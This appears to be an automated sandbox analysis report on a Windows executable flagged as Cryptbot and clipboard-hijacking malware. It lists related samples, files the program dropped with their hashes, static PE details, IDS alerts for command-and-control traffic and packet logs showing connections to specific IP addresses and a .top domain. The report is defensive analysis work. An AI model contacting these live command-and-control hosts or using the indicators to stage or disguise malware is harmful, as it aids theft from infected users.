	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
httpbin.org	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.213.123.165
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.213.123.165
fvtekx5pt.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.105.155.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.213.123.165
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	18.208.8.205
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.213.123.165
SPRINTHOSTRU	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	4KjLUaW30K.exe	Get hash	malicious	DCRat	Browse	141.8.192.93
	http://blacksaltys.com	Get hash	malicious	Unknown	Browse	185.251.91.157
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.199.217
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.199.217
	hFMz07E5ot.exe	Get hash	malicious	DCRat	Browse	141.8.194.149

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\rnCMinwLHbrEjcomyVjl.dll	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_5c68b29bb6b465bad180a68d35c62438a01da7_fff46f69_ec5e8cc4-da29-4dcd-9f55-dbe6e1ad8662\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.104948836880501
Encrypted:	false
SSDEEP:	192:/L+S1UBvzPG0BU/fI3ju0ZrPMttMKdzuiF2Z24IO8TVB:kzlBU/Yj/+zuiF2Y4IO8X
MD5:	2BAAA90414E30D487C7A53F5C4AD8A53
SHA1:	7C6DB24123B33A3402752FB12652774CE3962534
SHA-256:	BEE32927BAD06AB5C4D2F529A24C3CF891CEDFBE0782261DD8BC4469FB16F12C
SHA-512:	6668DD45A0996633A4D93E7F2B91F06FAAF7FF44CECE2BAAF51DB70719CB14313E026636B0A933347B42FADA0075E0D79ACBE31337BA1D434D53B2AF233CEF80
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.4.1.2.9.1.5.4.9.0.5.0.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.4.1.2.9.1.6.8.1.8.6.2.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.c.5.e.8.c.c.4.-.d.a.2.9.-.4.d.c.d.-.9.f.5.5.-.d.b.e.6.e.1.a.d.8.6.6.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.a.e.1.c.3.2.2.-.5.a.c.6.-.4.2.b.b.-.a.3.6.f.-.9.6.2.7.9.8.5.0.9.1.f.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.3.0.-.0.0.0.1.-.0.0.1.4.-.b.9.1.f.-.6.0.5.1.d.c.4.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.f.3.a.e.4.8.a.9.b.d.5.2.5.3.6.b.8.3.b.7.6.e.d.9.8.8.5.5.8.e.5.6.8.1.0.0.9.e.9.6.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20B3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Nov 30 04:01:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	267872
Entropy (8bit):	1.4887443239215186
Encrypted:	false
SSDEEP:	768:klR2sHEqC1Te0oQAHzVZIuCN8OQ2F6rnza9:6RHo1ToQGY7Nrgrnza9
MD5:	4A15C30CA79B381EB3AE561E9368E0F7
SHA1:	EB9CD7ACFE225C142C1334B0DD938FD3E95E6C2E
SHA-256:	00116C84BF2473214568ACC4C5D5564D8ECCF12D18AAA50EF06328DE5A7C8D3F
SHA-512:	962572928F92205D9138D863279CA0186FD3643AE5B521889D601DE0474690A3FA687627BBB59EB933B7233105DB385C4135F1F5DB77AD5A52831F44B67DDF2A
Malicious:	false
Preview:	MDMP..a..... .......3.Jg........................................x,..........D...........`.......8...........T...........XD...............,..........................................................................................eJ......./......GenuineIntel............T.......0.....Jg ...?........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER222B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8340
Entropy (8bit):	3.6923391325205865
Encrypted:	false
SSDEEP:	192:R6l7wVeJ3C96rA6Y90SUTgmfB8bvprp89bHYZsfplum:R6lXJo6c6YOSUTgmfWbUHYyf73
MD5:	470A4DBE59A1C6D3BD5EA8CF60EF67F9
SHA1:	02F15048055B8BB0F4F9E3AC7B8B4AE83A4DB75D
SHA-256:	E155BCAECC45E05B226AFECBBA43AF4DF4D0E3E33C02E6EA76EA7E444246FE17
SHA-512:	5E2B457F4B5DDB187F7F6BB01404E84A7490D8FDC7F979E9AC79667E36C209F1ADB29A96144207EDFC9464DCFC70F6AF50C5E65A66F7F905F1D35C61ABBB9451
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER22B9.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4564
Entropy (8bit):	4.435493221007022
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZdJg77aI9oLWpW8VY4Ym8M4JI5FU+q8WqTEpzWd:uIjfpI7G67VwJL8EJWd
MD5:	BAA3F485B0A64AE388D0B66267DF371E
SHA1:	968AD8CAB819F848204CD67D3B283FD64A9B8131
SHA-256:	ECD02D3DD20E8089E2551433D9A458F7B2DD1AE2ED4CD33DF6A632BDC566D3F6
SHA-512:	94EFE08B3B0F11FEE0C67E0583F0CBC8C55566B687A827937839C541F6AC70B7AD0C33B61B97AA1A40DA009404EC1B918BE8C70104BF79821E97A81FCE0A52D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="610264" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\rnCMinwLHbrEjcomyVjl.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.05435488843184411
Encrypted:	false
SSDEEP:	24576:6USlFSB+/tOZuqxtgCff+Kz2MGR6XHIWGnnxOfOeV1nY8lCVE:6+LG04WGngfdVJY8lCVE
MD5:	DAE3F95A16911FCD35E45BCE1CB23D6E
SHA1:	7F512B0A314D711F43F933C486110CC0006971AE
SHA-256:	1F860A01E885872E6A26D19CBF3BA057D235F1B34C287D8F9792214425B93425
SHA-512:	A134E963CE93982B8EC98851773527D8F8D10054F84DF2D62EDE3D8F8F851AE697E0CC6B917B9BD6E0C0967F3A17891DAB9ACCBD701F34549E8C1DC2725C1218
Malicious:	false
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg...........#...(...........................j.........................@......./....@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.002340578315718116
Encrypted:	false
SSDEEP:
MD5:	7712B03AF17C2844EB8186B44159FC80
SHA1:	B44A1F5ED0C4EBA0E493724DCE5D5DFB2C1CE00A
SHA-256:	B112E151C1D38AA4484499CC4909F858F2E16B375562A1D3519D690C3DEF48D7
SHA-512:	DA98F396E47B23B67284FBD00D4AD254AE6391F9CD23F2A6E4E1B02FAA99CD10EC78DB101D0B0E5944E82E22A2B2AEF6638AA9B58818F22FBB0D9E038B3F2390
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg...............(.v........................@.......................... ......g.....@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465301356723021
Encrypted:	false
SSDEEP:
MD5:	BAAFFD08076877AEB2DC50B2532A65E5
SHA1:	1A3B17906BB02EDF917E8CF5A11DD1AE014328CF
SHA-256:	F12ED5D6DC3FD1450370DDBBA2284BD5ECB8D83290CC981EDF0DF00253D9D435
SHA-512:	B2531B7E5E8E6C845C8350644D2B4878B37BFFA26FFBA926AF1FF604ACE666C3874CD35749C54865C7F663167492458BC51C228BB3B2F22AD97584080D95A6D2
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..S..B...............................................................................................................................................................................................................................................................................................................................................VD.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.987453527446022
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	4'479'488 bytes
MD5:	245042b39f7fe432daf72c046d5000d3
SHA1:	f3ae48a9bd52536b83b76ed988558e5681009e96
SHA256:	1c4b207bb8d58a6068ed2be0eb27653a7245dfe8fee548c4720d14510453c27c
SHA512:	fedb81cb96239c8e2456872914155d54d2cb9c5c98b2a59554113de6b8987df01d2e4dd7bdadc26c8749020cf59d74fd4d2229806882bcf62b5b4083bc98622c
SSDEEP:	98304:kTa0XUeEUwjOh4/MorxpB01cG3uZcO48mCQueAD0r7s:WICh4/MorxH014cBulAr7
TLSH:	9B2633278776C799E18B50741E4A2139EBD6A5401B3A1070F522D8BA7B133B23FA34F7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P.Gg...............(..H...v..2........... H...@..........................@........D...@... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1081000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x6747F450 [Thu Nov 28 04:40:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3650E082BAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73805f	0x73	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x737000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc7f658	0x10	bhovsmhv
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc7f608	0x18	bhovsmhv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x736000	0x284400	8076147a6f7aba82b1ab1c914997707e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x737000	0x2b0	0x200	41d1d6af20953569d1327f2091f85017	False	0.796875	data	6.03512640331267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x738000	0x1000	0x200	8e430eb40a2adaf02be56f915653a1cd	False	0.166015625	data	1.1687723252187228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x739000	0x389000	0x200	ba7344e247c4067b6f514ec5472fd7da	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bhovsmhv	0xac2000	0x1be000	0x1bda00	971459f5a47cb74ade4441efe0666bd8	False	0.994171853085554	data	7.954372038177193	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wzjavlmc	0xc80000	0x1000	0x400	f2852a5fc95875c98c383f3a123c0458	False	0.7978515625	data	6.138695757125626	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0xc81000	0x3000	0x2200	b6875f8175a69edba3f607d5067aae50	False	0.051470588235294115	DOS executable (COM)	0.49867903628103744	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xc7f668	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-30T05:00:33.699309+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49739	141.8.197.146	80	TCP
2024-11-30T05:00:35.358822+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49740	141.8.197.146	80	TCP
2024-11-30T05:00:45.215515+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49751	141.8.197.146	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 04:59:59.054582119 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 04:59:59.054630041 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 04:59:59.054689884 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 04:59:59.070219994 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 04:59:59.070240021 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:00.869533062 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:00.870269060 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:00.870292902 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:00.871442080 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:00.871548891 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:00.873161077 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:00.873229027 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:00.873362064 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:00.873372078 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:00.915941954 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:01.204056978 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:01.204117060 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:01.204207897 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:01.212888956 CET	49730	443	192.168.2.4	18.208.8.205
Nov 30, 2024 05:00:01.212913990 CET	443	49730	18.208.8.205	192.168.2.4
Nov 30, 2024 05:00:02.587584019 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.708128929 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.708235025 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.709311962 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829245090 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829320908 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829329967 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829351902 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829391003 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829401016 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829411030 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829433918 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829453945 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829458952 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829467058 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829493999 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829513073 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829546928 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.829550028 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.829593897 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.949130058 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.949213028 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.951018095 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.951028109 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.951071978 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.951080084 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.951081038 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.951107025 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.951127052 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.951157093 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.952681065 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.952738047 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:02.995059967 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:02.995179892 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.115346909 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.115461111 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.158909082 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.159090042 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.280289888 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.280369043 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.446873903 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.446950912 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.654864073 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.654967070 CET	49731	80	192.168.2.4	141.8.197.146
